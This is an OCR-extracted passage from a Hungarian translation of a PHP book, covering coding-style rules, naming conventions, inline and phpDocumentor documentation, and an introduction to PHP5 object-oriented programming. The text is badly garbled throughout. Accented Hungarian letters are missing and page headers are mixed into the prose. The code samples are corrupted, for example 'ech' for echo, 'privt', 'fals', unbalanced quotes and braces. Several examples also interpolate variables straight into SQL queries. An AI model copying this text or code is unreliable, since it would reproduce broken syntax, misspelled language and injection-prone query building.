return $retval;
}

A csupa nagybet hasznlata rvn azt is rgtn kiszrhatjuk, ha olyan vltozt prblunk globliss tenni, amit nem kellene. A globlis vltozk alkalmazsa mindazonltal nagy hiba a PHP programokban. Hasznlatuk ltalban a kvetkez okok miatt nem clszer: Brhol megvltoztathatk, gy nehezebb azonostani az esetleges hibk helyt. Beszennyezik" a globlis nvteret. Ha egy globlis vltoznak olyan ltalnos nevet adunk, mint pldul a $ szmll, s beptnk egy knyvtrat, ami szintn tartalmaz egy ugyanilyen nev globlis vltozt, mindkett akadlyozni fogja a msikat. Ahogy a kdtr n, egyre nehezebb lesz az ilyen tkzseket elkerlni. A megolds ltalban egy elrfggvny (accessor function) alkalmazsa.

1. fejezet Kdolsi stlusok

17

Az albbi kd globlis vltozkat hasznl egy maradand (perzisztens) adatbzis-kapcsolat valamennyi vltozjhoz:

global $database_handle; global $server; global $user; global $password; $database_handle = mysql_pconnect($server, $user, $password);
Ehelyett jobb, ha egy osztlyt alkalmazunk:

class Mysql_Test { public $database_handle; privt $server = 'localhost'; privt $user = 'test1; privt $password = ' t e s t ' ; public function _____ construct()
{

$this->database_handle = mysql_pconnect($this->server,
} }

$this->user,

$this->password);

A 2. fejezetben ismt elvesszk ezt a pldt, s az egykk, illetve burkol osztlyok ismertetsnl mg hatkonyabb megoldsokat mutatunk be. Mskor egy bizonyos vltoz elrsre lehet szksg: $US_STATES = array('Alabama', ... , 'Wyoming');

Ebben az esetben egy osztly hasznlata tlzs lenne. Ha nem szeretnnk globlis vltozt alkalmazni, helyettestsk egy elr fggvnnyel, ami statikus vltozknt a globlis tmbt kapja:

function
{

us_states() ... , 'Wyoming');

static $us_states = array('Alabama', return $us_states;


}

Ennek a megoldsnak az is elnye, hogy a forrstmb nem mdosul (immutable) lesz, mintha a de fi ne kulcsszval lltottuk volna be.

18

PHP fejleszts felsfokon

Hossz let vltozk


A hossz let vltozknak adjunk rvid, de ler jelleg neveket. Az ilyen nevek nvelik az olvashatsgot, s megknnytik a vltozk nyomon kvetst. A hossz let vltozk nem szksgszeren globlisak, nem is felttlenl a f hatkrhz tartoznak; egyszeren olyan vltozk, amelyeket jelents hosszsg kdban hasznlunk, illetve amelyek brzolst nem rt tisztbb tenni. A kvetkez pldban a beszdes vltoznevek segtenek lerni a kd cljt s viselkedst: function clean_cache($expiration_time) { global $CACHE_PATH; $cachefiles = list_cache(); foreach($cachefiles as $cachefile) { if(filemtime($CACHE_PATH." / " .$cachefile) $expiration_time) { unlink($CACHE_PATH." / " .$cachefile);
} } }

> time()

Ideiglenes vltozk
Az ideiglenes vltozk neve legyen rvid s tmr. Mivel ilyen vltozkat ltalban csak kisebb kdblokkokban tallunk, nem kell, hogy a nevk magyarz jelleg legyen. Ez klnsen a ciklusvltozkra igaz; ezeknek clszer mindig az i, j, k, 1, m s n neveket adni. Vegyk az albbi pldt: $number_of_parent_indices = count($parent); for($parent_index=0; $parent_index <$number_of_parent_indices; $parent_index++) { $number_of_child_indices = count($parent[$parent_index]); for($child_index = 0; $child_index < $number_of_child_indices; $child_index++) { my_function($parent[$parent_index][$child_index]);
} }

Most hasonltsuk ssze ezzel: $pcount = count($parent); f or ( $ i = 0; $i < $pcount; $i + + ) { $ccount = count($parent[$i ]); f or ( $ j = 0; $j < $ccount; $ j + + ) { my_function($parent[$i] [$j] ) ;
} }

1. fejezet Kdolsi stlusok

19

Mg jobb, ha ezt hasznljuk: foreach($parent as $child) { foreach($child as $element) my_function($element);


} }

Tbb szbl ll nevek


A tbbszavas vltoznevek szavainak elvlasztsra ktfle megkzelts ltezik. Vannak, akik a nagy- s kisbetk keverst rszestik elnyben; ez az gynevezett teve" jells: $numElements = count($elements); A msik megolds az alhzsok hasznlata szelvlasztknt: $num_elements = count($elements); n a msodikat szeretem jobban a vltozk s fggvnyek nevben, mgpedig a kvetkezk miatt: A kis- s nagybetk mr jelentssel brnak (valdi globlis vltozk s llandk). Ahhoz, hogy a szelvlaszts kvetkezetes legyen, olyan tbbszavas neveket kellene hasznlnunk, mint a $CACHEDIR vagy a $PROFANITYMACROSET. Szmos adatbzis nem klnbzteti meg a kis- s nagybetket a smaobjektumok neveiben. Ha a vltozneveket adatbzis-oszlopok neveihez szeretnnk rendelni, az adatbzisban ugyanazzal az sszefzsi problmval talljuk magunkat szemben, mint a globlis neveknl. n szemlyesen knnyebben olvashatnak tallom az alhzssal elvlasztott neveket. A nem angol anyanyelv programozk knnyebben megtalljk a sztrban a szavakat, ha azokat alhzssal vilgosan elvlasztjuk.

Fggvnynevek
A fggvnyneveket ugyangy kell kezelni, mint az egyszer vltozneveket. Legyenek csupa kisbetsek, s a tbb szbl ll nevekben a szavakat vlasszuk el alhzsjelekkel. Emellett rdemes a kapcsos zrjeleknek a fggvnyek bevezetsre rvnyes klasszikus K&R stlust kvetni, ahol a zrjeleket a function kulcssz al igaztjuk. (Ami klnbzik a feltteles utastsok K&R stlustl.) me egy plda a klasszikus K&R stlusra: function print_hello($name)
{

ech "Hello $name";


}

20

PHP fejleszts felsfokon

Hasznljunk beszdes neveket!

Brmilyen nyelven is runk egy kdot, annak rthetnek kell lennie msok szmra. A fggvnyek, osztlyok s vltozk nevnek tkrznie kell feladatukat. Ha egy fggvnynek a valami () vagy a csinl () nevet adjuk, semmivel sem tesszk olvashatbb a kdot, radsul a program nehezebben mdosthat s amatr" kinzet lesz.

Osztlynevek
A Sun hivatalos Java stlus-tmutatja (lsd a Tovbbi olvasmnyok rszt a fejezet vgn) szerint az osztlyneveknek az albbi szablyokat kell kvetnik: Az osztlyok neve kezddjn nagybetvel, gy els ltsra megklnbztethetk a tagok nevtl. A begyazott nvterek utnzshoz hasznljunk alhzsokat. A tbbszavas osztlynevek szavait fzzk ssze, s minden sz nagybetvel kezddjn (teve" jells). me kt, a fenti szablyoknak megfelel osztlydeklarci: class XML_RSS {} class Text_PrettyPrinter {}

Tagfggvnynevek
A Java stlus szerint a tbb szbl ll tagfggvny- vagy metdusnevekben sszefzzk a szavakat, s az elst kivve minden szt nagybetvel kezdnk. Nzznk erre is egy pldt:
class XML_RSS { function startHandler() {} }

Az elnevezsek kvetkezetessge
Az azonos clt szolgl vltozk neve is legyen egyforma. Az albbihoz hasonl kd jelents tudathasadst mutat: $num_elements = count($elements); $objects_cnt = count($objects);

1. fejezet Kdolsi stlusok

21

Ha ragaszkodunk egy elnevezsi rendszerhez, kevsb lesz szksg a kd tfslsre, hogy meggyzdhessnk arrl, hogy a megfelel vltoznevet hasznltuk. A szabvnyostst tbbek kztt mg a kvetkez minstk segthetik: $max_e1ement s; $min_elements; $sum_elements; $prev_item; $curr_item; $next_item;

A vltoznevek s smanevek egyeztetse


Az adatbzisrekordokhoz kapcsold vltozneveknek mindig igazodniuk kell az oszlopnevekhez. Lssunk egy pldt, amelyben helyes vltoz-elnevezsi stlust kvettnk, gy minden vltoznv pontosan megegyezik a megfelel oszlopnwel: $query = "SELECT firstname, lastname, employee_id FROM employees"; $results = mysql_query($query); while(list($firstname, $lastname, $employee_id) = mysql_fetch_row($results)) {

// . . .
}

Ms, esetleg rvidtett nevek hasznlata zavar s flrevezet lehet, ami megnehezti a kd ksbbi mdostst. Az ltalam valaha ltott taln legzavarbb vltoznevek egy olyan kdblokkban bukkantak fel, ami egy termkrendelsi adatbzison vgzett mveleteket. Az egyik ilyen mvelet rsze volt kt oszlop rtknek felcserlse. A helyes megkzelts ez lett volna: $first_query = "SELECT a , b FROM subscriptions WHERE subscription_id = $subscription_id"; $results = mysql_query($first_query); l i st ($ a , $b) = mysql_fetch_row($results); // a szksges mveletek elvgzse $new_a = $b; $new_b = $a; $second_query = "UPDATE subscriptions SET a = ' $new_a ' , B = '$new_b' WHERE subscription_id = $subscription_id" ; mysql_query($second_query);

22

PHP fejleszts felsfokon

Ehelyett a fejlesztk amellett dntttek, hogy a $a s $b vltozkat fordtott sorrendben vlasztjk ki, hogy az oszloprtkek s a vltoznevek illeszkedjenek az UPDATE-ben: $first_query = "SELECT a , b FROM subscriptions WHERE subscription_id = $subscription_id"; $results = mysql_query( $ f irst_query); l i s t ($ b, .$a) = mysql_fetch_row($results); // a szksges mveletek elvgzse $second_query = "UPDATE subscriptions SET a = '$a' , B = ' $ b' WHERE subscription_id = $subscription_id"; mysql_query($second_query); Mondanunk sem kell, hogy miutn az eredeti SELECT s a zr UPDATE kztt mintegy szz sornyi kd szerepelt, a program folysa kifejezetten zavaros volt.

A zavaros kdok elkerlse


Tbb-kevsb minden, amit eddig a fejezetben trgyaltunk, a zavaros kd elkerlsrl szlt. Ha egy nagy projektben egy adott kdolsi stlust kvetnk, egysgess tehetjk a kdrszeket, gy ha a munkhoz j fejleszt csatlakozik s a kdra pillant, annak logika ja vilgos lesz, s tudni fogja, milyen stlushoz kell igazodnia. Az elrendezsre s elnevezsre vonatkoz szablyok betartsa mellett azonban egyb lpseket is tehetnk, hogy elkerljk a kd zavaross vlst - ezekrl ejtnk szt az albbiakban.

Rvid cmkk
A PHP megengedi az gynevezett rvid cmkk (short tag) hasznlatt, valahogy gy:
<?

ech "Hello $username"; ?> Mindazonltal jobb, ha soha nem lnk ezzel a lehetsggel: a rvid cmkk rtelmezse a szokvnyos XML dokumentumok helyben (inline) trtn kirst lehetetlenn teszi, mert a PHP ezt a fejlcet blokknt rtelmezi, s megksrli vgrehajtani: <?xml version="l.0" ?> Ehelyett alkalmazzunk inkbb ehhez hasonl hossz cmkket:
<?php ech "Hello $username"; ? >

1. fejezet Kdolsi stlusok

23

HTML ksztse echo-val


A PHP szpsgei kztt kiemelt helyen szerepel, hogy lehetv teszi HTML begyazst a PHP kdba, s viszont. Ezt a kpessget rdemes kihasznlnunk. Vessnk egy pillantst a kvetkez kdrszletre, amely egy tblzatot pt fel: Hello <?= $username ?> <?php ech "<table>"; ech "<tr><td>Name</tdxtd>Position</tdx/tr>" ; foreach ($employees as $employee) {
ech

"<trxtd>$employee [name] </tdxtd>$employee [position] </tdx/tr>" ;


}

ech "</table>"; ?> Hasonltsuk ezt ssze az albbival: <table> <tr><td>Name</tdxtd>Position</tdx/tr> <?php foreach ($employees as $employee) { ?> <trxtd><? ech $employee [ ' name ' ] ?x/tdxtd><? ech $employee [ 'position' ] ?x/tdx/tr> <?php } ?> </table> A msodik kdtredk tisztbb, s nem teszi zavaross a HTML kdot az ech felesleges hasznlatval. Emellett meg kell jegyeznnk, hogy a <?php ech ?>-val egyenrtk <?= ?> jells rvid cmkk (short_tags) hasznlatt ignyli, amit tbb okbl kifolylag is kerlnnk kell.

print vagy ech?

Aprint s az ech egymssal felcserlhet, vagyis az rtelmezmotor nem tesz klnbsget kztk. Tegyk le voksunkat az egyik mellett, s kvetkezetesen ragaszkodjunk hozz mindentt, hogy a kdot vilgosabb tegyk.

Kvetkezetes zrjelezs
A kdot zrjelezssel is egyrtelmbb tehetjk. rhatunk pldul ilyesmit: if($month == 'february') { if($year % 4 == 0 && $year % 100 II $year % 400 == 0) $days_in_month = 29;
}

24

PHP fejleszts felsfokon

else { $days_in_month = 28;


} }

Ez azonban az olvast arra knyszerti, hogy emlkezzen a mveletek kirtkelsi sorrendjre, hogy megrtse a kifejezs kiszmtsnak menett. Az albbi pldban zrjelezssel kpi megerstst adtunk a kirtkelsi sorrendnek, gy a logika knnyen kvethet: if($month == 'february') { i f( ( ( $ ye a r % 4 == 0 )&& ($year % 1 0 0 ) ) $days_in_month = 2 9;
}

II ($year % 400 ==0)) {

else { $days_in_month = 28;


} }

Termszetesen a zrjelek hasznlatt sem szabad tlzsba vinni. Pillantsunk a kvetkez kdra: if($month == 'february1) { i f ( ( ( ( $ ye a r % 4) == 0 )&& ( ($year % 100) != 0)) II (($year % 400) == 0 )) { $days_in_month = 29 ;
}

else { $days_in_month = 28;


} }

A zrjelek itt agyonnyomjk" a kifejezst, gy a kd clja ppolyan nehezen kiderthet, mint a kizrlag a mveletek kirtkelsi sorrendjre pl kd.

Dokumentci
A dokumentci elemi rsze a minsgi kdnak. Br egy jl megrt kd nagyrszt nmagrt beszl, a programozknak attl mg el kell olvasniuk, hogy megrthessk mkdst. Az n cgemnl az gyfelek rszre ksztett programokat addig nem tekintjk befejezettnek, amg teljes kls alkalmazs-programozsi felletket (API) s az esetleges bels sajtossgokat nem dokumentltuk kielgten.

1. fejezet Kdolsi stlusok

25

A dokumentci kt f kategrira oszthat: soron belli megjegyzsekre, amelyek a kd logikjnak folyst magyarzzk, s fknt azok szmra kszlnek, akik mdostjk vagy kiegsztik a kdot, illetve hibt keresnek benne; s az API dokumentcira, amelynek clcsoportjt azok a felhasznlk jelentik, akik egy adott fggvnyt vagy osztlyt anlkl szeretnnek felhasznlni, hogy magt a kdot elolvasnk. A kvetkezkben ezt a kt dokumentcitpust vesszk grcs al.

Soron belli megjegyzsek


A PHP a soron belli (inline) megjegyzsek hrom fajtjt tmogatja: C stlus megjegyzsek - Minden, ami / * s * / jelek kztt tallhat, megjegyzsnek szmt. me egy plda az ilyen megjegyzsekre: /* Ez egy C stlus megjegyzs

* (folytats) */
C+ + stlus megjegyzsek - Azok a sorok szmtanak megjegyzsnek, amelyek a / / jelekkel kezddnek. Lssunk erre is egy pldt: // Ez egy C++ stlus megjegyzs Hj/Perl stlus megjegyzsek - A megjegyzseket a # jel vezeti be. Egy plda:
# Ez egy hj stlus megjegyzs

A gyakorlatban n soha nem hasznlok hj/Perl stlus megjegyzseket. A C stlusakat a nagyobb megjegyzsblokkokra tartom fenn, mg az egysoros megjegyzseket C++ stlusban rom. A megjegyzsek clja minden esetben az kell, hogy legyen, hogy vilgosabb tegye a kdot, me egy klasszikus plda az rtelmetlen megjegyzsre: // i nvelse
i++;

Ez a megjegyzs csupn megismtli, amit maga a mvelet is ler (s aminek a kd minden olvasja szmra vilgosnak kell lennie), de semmilyen utalst nem tesz arra, hogy mirt is hajtjuk vgre a mveletet. Az ilyen rtelmetlen megjegyzsek csak zavarak egy programban.

26

PHP fejleszts felsfokon

Az albbi pldban a megjegyzs mr rtkes:


//A bitenknti AND mvelettel megnzzk, hogy a $i els bitjt // belltottk-e, hogy megllaptsuk, $i pros vagy pratlan if ($i & 1) { return true; }

A megjegyzs vilgoss teszi, hogy az els bit belltst ellenrizzk, hogy megllaptsuk, a szm pratlan-e.

API dokumentci
Egy API dokumentlsa egy kls felhasznl szmra jelentsen klnbzik a kd bels dokumentlstl. Az API dokumentci clja, hogy a fejlesztknek egyltaln ne kelljen a kdba tekintenik ahhoz, hogy megrtsk, hogyan kell hasznlni. Az ilyen dokumentci ltfontossg az egyes termkek rszeknt terjesztett PHP knyvtrak esetben, s igen hasznos lehet az olyan knyvtrak dokumentlsnl is, amelyeket egy fejlesztcsapat belsleg hasznl. Az API dokumentci alapveten hrom clt szolgl: Bevezet a csomag vagy knyvtr hasznlatba, hogy a vgfelhasznlk gyorsan eldnthessk, szksg van-e r feladatuk elvgzshez. Felsorolja valamennyi nyilvnos osztlyt s fggvnyt, s lerja mind a kimeneti, mind a bemeneti paramtereket. Oktatanyagot vagy hasznlati pldkat nyjt, hogy pontosan megmutassa, hogyan kell hasznlni a kdot. A fentiek mellett gyakran clszer az albbiakat is biztostani a vgfelhasznlknak: a vdett tagfggvnyek dokumentcija, pldk, amelyek bemutatjk, hogyan egszthetk ki az osztlyok j kpessgekkel. Vgezetl, egy API dokumentcis rendszernek a kvetkezket is biztostania kell a fejleszt szmra, aki a dokumentland kdot rja: A dokumentcinak a kdsorokon bell kell lennie. gy knnyebb a dokumentcit naprakszen tartani, s mindig kznl van. A dokumentci nyelvezetnek egyszernek s tmrnek kell lennie. Dokumentcit rni ritkn szrakoztat, gy minl egyszerbb a szveg, annl biztosabb, hogy a vgre rnk. Lteznie kell valamilyen megoldsnak a dokumentci szpen formzott, knnyen olvashat formban trtn kiratsra.

1, fejezet Kdolsi stlusok

27

Az API dokumentci kezelsre sajt rendszert is pthetnk, de felhasznlhatunk mr ltez csomagot is. E ktet egyik visszatr tmja, hogy megtanuljunk j dntseket hozni. A soron belli dokumentci esetben a phpDocumentor kivl eszkz, ami minden ignynket kielgti, vagyis nincs igazn szksg r, hogy mshol keresgljnk. A phpDocumentor ihletje nagyrszt a JavaDoc, a Java automatikus dokumentlrendszere volt.
A phpDocumentor hasznlata

A phpDocumentor gy mkdik, hogy klnleges formj megjegyzseket keres. Valamennyi megjegyzsblokk gy nz ki:

A Short Description (rvid lers) a blokk ltal lert elem rvid (egysoros) sszegzse, a Long Description (hossz lers) pedig egy tetszlegesen szsztyr szvegblokk. Az utbbi megengedi a megjegyzsekben a HTML hasznlatt formzsi clokra. A tags (cmkk) a phpDocumentor cmkinek listja. Ezek kzl lljon itt nhny fontosabb:

A dokumentcit gy kezdjk, hogy ltrehozunk egy fejlcblokkot a fjlnak: //**


* Ez egy lapsszegz blokk * * Ez egy hosszabb lers, ahol * rszletesebb informcikat adhatunk. * @package Primes * Sauthor George Schlossnagle */

Ennek a blokknak kell elmagyarznia, mire is hasznljuk az llomnyt, a @package rtkt pedig a fjlra kell lltania. Hacsak fell nem brlja egy osztly vagy fggvny, a package rtkt a fjlban minden ms phpDocumentor blokk rklni fogja.

28

PHP fejleszts felsfokon

Ezutn lerst ksztnk egy fggvnyhez. A phpDocumentor megteszi, ami tle telik, de szksge van nmi segtsgre. A fggvnyeket s osztlyokat dokumentl megjegyzseket kzvetlenl a fggvny vagy osztly bevezetse eltt kell elhelyezni, mskpp valamennyi kzbees kdra rvnyesek lesznek. Megfigyelhetjk, hogy az albbi pldban a pram is szerepel, ami meghatrozza a fggvny egyetlen bemen paramtert, valamint a Sreturn, ami a visszatrsi rtket rja le:
I ** * Determines whether a number is prime (stupidly) * Determines whether a number is prime or not in about the slowest way possible. <code> for($i=0; $i<100; $i++) { if(is_prime($i)) { ech "$i is prime\n"; } * } * </code> * @param integer * return boolean true if prime, fals elsewise */ function is_prime($num) { for($i=2; $i<= (int)sqrt($num); $i++) { if($num % $i == 0) { return fals; } } return true; } ?> * * * * * *

Ez elg sok munknak tnik, de lssuk, milyen eredmnnyel jr. Futtassuk a phpDocumentor-t az albbi utastssal: phpdoc -f Primes.php -o HTML:frames:phpedit -t /Users/george/docs Az eredmnyt az 1.3 bra mutatja.

1. fejezet Kdolsi stlusok

29

1.3 bra

A phpdoc kimenete a primes.php esetben. Hogy lssunk egy nmileg bonyolultabb pldt, nzzk meg az albbi egyszer Employee osztlyt:
<?php
I -k-k

* A simple class describing employees * * @package Employee * @author George Schlossnagle */ /** * An example of documenting a class */ class Employee { * @var string */ var $name; / **

30

PHP fejleszts felsfokon

* The employees annual salary * @var number */ var $salary; /* * * (ivar number */ var $employee_id; / * * * The class constructor * @param number */ function Employee($employee_id = fals) { if($employee_id) { $this->employee_id = $employee_id; $this->_fetchInfo(); } }

* Fetches info for employee * * @access privt */ function _fetchlnfo() { $query = "SELECT name, salary FROM employees WHERE employee_id = $this->employee_id"; $result = mysql_query($query); list($this->name, $this->department_id) = mysql_fetch_row($result); } / * * * Returns the monthly salary for the employee * returns number Monthly salary in dollars */ function monthlySalary() { return $this->salary/12; } } ?>

1. fejezet Kdolsi stlusok

31

szrevehetjk, hogy a _f etchlnf o elrse (@access) privt, ami azt jelenti, hogy a phpdoc nem fog foglalkozni vele. Az 1.4 bra bizonytja, hogy kis erfesztssel knnyen profi dokumentcit llthatunk el.

1.4 bra

A phpdoc kimenete az Employee esetben.

Tovbbi olvasmnyok
A phpDocumentor-rl tbbet is megtudhatunk, ha elltogatunk a projekt www. phpdoc. org cmen tallhat honlapjra. Itt a program elrhetsgrl s teleptsrl is tjkozdhatunk. A Java stlus-tmutat mindenki szmra rdekes olvasmny lehet, aki valamilyen kdolsi szabvny ltrehozsn gondolkodik. A hivatalos tmutat a Sun-tl, a kvetkez cmen szerezhet be: http://java.sun.com/docs/codeconv/html/CodeConvTOC.doc.html

Objektumkzpont programozs tervezsi mintk segtsgvel


A PHP5 ltal hozott legnagyobb s leginkbb nnepelt vltozs az objektummodell teljes tdolgozsa, illetve a szabvnyos objektumkzpont (objektum-orientlt, OO) megoldsok jcskn feljavtott tmogatsa volt. Ktetnknek nem trgya az objektumkzpont programozs, s a tervezsi mintk sem llnak rdekldsnk homlokterben; mindkt tmrl szmos kitn knyv szletett mr. (A fejezet vgn rdemes tbngszni az ajnlott olvasmnyok listjt.) E fejezet csupn nhny ltalnosan hasznlt tervezsi minta, illetve a PHP5 objektumkzpont szolgltatsainak ttekintse. Nmileg ellenttes rzseim vannak a PHP nyelv OO programozssal kapcsolatban. Az objektumkzpont megoldsok szmos feladatnl olyanok, mintha gyval lnnk verbre; az ltaluk nyjtott elvonatkoztatsi szint egyszer feladatokhoz szksgtelen. Mindazonltal minl bonyolultabb a rendszer, annl sszerbbnek tnik az objektumkzpont eljrsok hasznlata. Magam is dolgoztam nagyobb rendszereken, amelyeknl elnysnek bizonyult az objektumkzpontsg nyjtotta modulris felpts. Ez a fejezet a PHP-ben ma elrhet halad szint OO szolgltatsokat mutatja be. Az itt kidolgozott pldk nmelyikt a knyv tbbi rszben is gyakran elvesszk, s remlhetleg hasznosnak bizonyulnak annak bemutatsban, hogy egyes problmknl elnyt jelent az objektumkzpont megkzelts. Az OO programozs hangsly-eltoldst jelent az eljrskzpont programozshoz (procedurlis programozshoz) kpest, ami a PHP programozs hagyomnyos mdjnak szmt. Az eljrskzpont programokban adatokat trolunk vltozkban, ezeket fggvnyeknek adjuk t, amelyek mveleteket vgeznek velk, s mdostjk azokat vagy j

34

PHP fejleszts felsfokon

adatokat hoznak ltre. Az eljrskzpont programok hagyomnyosan utastsok listjbl llnak, amelyeken a vgrehajts sorban, vezrlsi szerkezetek, fggvnyek stb. segtsgvel halad. Az albbi is ilyen kd:
<?php

function hello($name)
{

return "Hello $name!\n"; } function goodbye($name) { return "Goodbye $name!\n"; } function age($birthday) { $ts = strtotime($birthday); if($ts === -1) { return "Unknown"; } else { $diff = time() - $ts; return floor($diff/(24*60*60*365)) ; } } $name = "george"; $bday = "10 Oct 1973"; ech hello($name); ech "You are ".age($bday)." years old.\n"; ech goodbye($name); ? >

Bevezets az objektumkzpont programozsba


Fontos megjegyezni, hogy az eljrskzpont programozsban a fggvnyek s az adatok elklnlnek egymstl. Az OO programozsban azonban az adatokat s az azokon mveleteket vgz fggvnyeket objektumokban fogjuk ssze. Az objektumok adatokat s mveleteket vgrehajt fggvnyeket is tartalmaznak; az elbbieket tulajdonsgoknak (jellemzknek, attribtumoknak), az utbbiakat tagfggvnyeknek (metdusoknak) hvjuk. Az objektumot azon osztly hatrozza meg, amelynek az objektum pldnya. Az osztly megadja az objektum tulajdonsgait, illetve a felhasznlt tagfggvnyeket. Objektumot egy osztly pldnyostsval hozhatunk ltre. A pldnyosts sorn ltrehozzuk az j objektumot, kezdrtket adunk minden tulajdonsgnak (inicializljuk"), s meghvjuk a konstruktrt (ltrehoz fggvnyt), ami elvgzi az elksztshez szksges mveleteket. Az osztlykonstruktoroknak a PHP5-ben a - -construct () nevet kell adnunk, hogy

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

35

a motor kpes legyen azonostani ket. A kvetkez pldban egy User nev egyszer osztlyt hozunk ltre, pldnyostjuk, s meghvjuk kt tagfggvnyt: <?php class User { public $name; public $birthday; public function ______construct($name, $birthday) $this->name = $name; $this->birthday = $birthday; public function hello() return "Hello $this->name!\n"; public function goodbye() return "Goodbye $this->name!\n"; public function age() { $ts = strtotime($this->birthday); i f ( $ t s === -1) { return "Unknown"; } else { $diff = timeO - $ts; return floor($diff/( 2 4 * 60 * 6 0 * 36 5 ) )
} } }

$user ech ech ech


?>

= new User('george', '10 Oct 1 9 7 3 ' ) ; $user->hello(); "You are ".$user->age()." years old.\n"; $user->goodbye();

Ha 2003. oktber 10. eltt futtatjuk a fenti programot, ez jelenik meg a kpernyn: Hello george! You are 29 years old. Goodbye george!

36

PHP fejleszts felsfokon

A pldban szerepl konstruktr igen egyszer; csupn kt tulajdonsgot llt be, a nevet (name) s a szletsnapot (birthday). A tagfggvnyek ugyancsak egyszerek. Megfigyelhetjk, hogy a User objektumot kpvisel $this automatikusan ltrejn az osztlymetdusokon bell. A tulajdonsgok s tagfggvnyek elrsre a -> jellst hasznljuk. A felsznen az objektumok nagyjbl gy festenek, mint egy trstsos tmb (asszociatv tmb), amihez rajta mveleteket vgz fggvnyek gyjtemnye tartozik. Ugyanakkor rendelkeznek nhny tovbbi fontos tulajdonsggal, mgpedig a kvetkezkkel: rkls - Az rkls annak kpessge, hogy mr meglev osztlyokbl j osztlyokat szrmaztathatunk, s rklhetjk vagy fellrhatjuk azok tulajdonsgait s tagfggvnyeit. Egysgbe zrs - Az egysgbe zrs (betokozs, enkapszulci) annak kpessge, hogy elrejthetjk az adatokat az osztly felhasznli ell. Klnleges tagfggvnyek - Amint a fejezetben korbban mr lthattuk, az osztlyok konstruktorokkal vgeztetik el az j objektumok ltrehozshoz kapcsold feladatokat (pldul a tulajdonsgok kezdrtkkel val elltst). Az osztlyoknak emellett ms automatikusan meghvd mveleteik is vannak, amelyek a szokvnyos esemnyeknl (msols, megsemmists stb.) hvdnak meg. Tbbalaksg - Amikor kt osztly ugyanazokat a kls tagfggvnyeket valstja meg, felcserlhetnek kell lennik a fggvnyekben. A tbbalaksg (polimorfizmus) tkletes megrtse azonban tbb ismeretet kvn, mint amivel jelenleg rendelkeznk, ezrt a tma trgyalst a fejezetben ksbbre halasztjuk.

rkls
Amikor olyan j osztlyt szeretnnk ltrehozni, ami egy meglev osztlyhoz hasonl tulajdonsgokkal vagy viselkedssel rendelkezik, rklst alkalmazunk. A PHP ezt azzal tmogatja, hogy lehetv teszi egy osztly szmra, hogy kibvtsen egy ltez osztlyt. Amikor egy osztlyt bvtnk, az j osztly a szl valamennyi tulajdonsgt s tagfggvnyt rkli (nhny kivtellel, amiket a fejezetben ksbb rszleteznk). Ezutn hozzadhatunk j tagfggvnyeket s tulajdonsgokat, de fellrhatjuk a meglevket is. Az rklsi kapcsolatokat az extends kulcsszval jelezzk. A User (Felhasznl) bvtsvel ksztsnk most egy j osztlyt, amely a felgyeleti jogkrrel rendelkez felhasznlkat jelli. Az osztlyt azzal bvtjk, hogy kikeressk a felhasznl jelszavt egy NDBM llomnybl, s egy sszehasonlt fggvnyt biztostunk, amellyel sszevetjk a jelszt a felhasznl ltal megadottal: class AdminUser extends User{ public $password; public function _____ construct($name, $birthday)
{

parent::__ construct($name, $birthday); $db = dba_popen("/data/etc/auth.pw", "r", "ndbm");

2. fejezet Objektumkzpont programozs tervezsi mintk segtsgvel

37

$this->password = dba_fetch($db, $name); dba_close($db);


}

public function authenticate($suppliedPassword)


{

if($this->password === $suppliedPassword) return true; } else { return fals;


} } }

Az AdminUser meglehetsen rvid, mgis rkli a User valamennyi tagfggvnyt, gy a hello (), a goodbye () s az age () is hasznlhat. Megfigyelhetjk, hogy a szl konstruktrt parent: :_____ construct () formban magunknak kell meghvnunk; ezeket a PHP5 nem hvja meg automatikusan. A szlosztly elrshez a parent kulcsszt kell alkalmaznunk.

Egysgbe zrs
Azok szmra, akik korbban valamilyen eljrskzpont nyelven vagy a PHP4-ben programoztak, furcsa lehet a nyilvnossg fogalma. A PHP 5-s vltozata ugyanis a nyilvnos, vdett s privt adattulajdonsgok s tagfggvnyek bevezetsvel adatrejtsi kpessgeket ad a nyelvhez. Ezekre ltalban a PPP nven hivatkoznak (angolul sorrendben public, protected, privt), szabvnyos jelentsk pedig a kvetkez: Nyilvnos - A nyilvnos vltozkat s tagfggvnyeket az osztlyt felhasznl brmilyen kd kzvetlenl elrheti. Vdett - A vdett vltozk s tagfggvnyek nem rhetk el kzvetlenl az osztly felhasznli ltal, csak egy, az osztlytl rkl alosztlyon bell. Privt - A privt vltozk s tagfggvnyek csak azon az osztlyon bell hozzfrhetk, amelyben meghatroztk ket. Ez azt jelenti, hogy az osztlyt bvt gyermekekbl nem hvhatk meg. Az egysgbe zrs rvn nyilvnos felletet hatrozhatunk meg, amely szablyozza, hogy a felhasznlk" hogyan lphetnek kapcsolatba az osztllyal. A nem nyilvnos tagfggvnyeket mdosthatjuk vagy jrapthetjk (refaktorizci), anlkl, hogy attl kellene tartanunk, hogy megsrtjk az osztlytl fgg kdot. A privt tagfggvnyek bntetlenl jrapthetk, a vdett tagfggvnyek jraptse azonban nagyobb odafigyelst kvn, hogy meg ne srtsk az osztlyok szrmaztatott osztlyait. Az egysgbe zrs nem felttlenl szksges a PHP-ben (ha kihagyjuk, a tagfggvnyek s tulajdonsgok automatikusan nyilvnosak lesznek), de amikor csak lehet, clszer alkalmazni. Ha csapatban dolgozunk - de mg ha egyedli programozknt is -, kln-

38

PHP fejleszts felsfokon

sen nagy a ksrts, hogy kikerljk egy objektum nyilvnos fellett, s belsnek felttelezett tagfggvnyek hasznlatval rvidtsk le az utat. Ez hamar karbantarthatatlan kdhoz vezethet, mert egy knyszeren kvetkezetes, egyszer nyilvnos fellet helyett az osztlynak olyan tagfggvnyeit alkalmazzuk, amelyeket flnk jrapteni, nehogy hibt okozzunk egy osztlyban, amely hasznlja ket. A PPP alkalmazsval mindez elkerlhet: biztosthatjuk, hogy a kls programok csak a nyilvnos tagfggvnyeket hasznljk, s nem rznk ksrtst a kanyar kiegyenestsre.

Statikus tulajdonsgok s tagfggvnyek


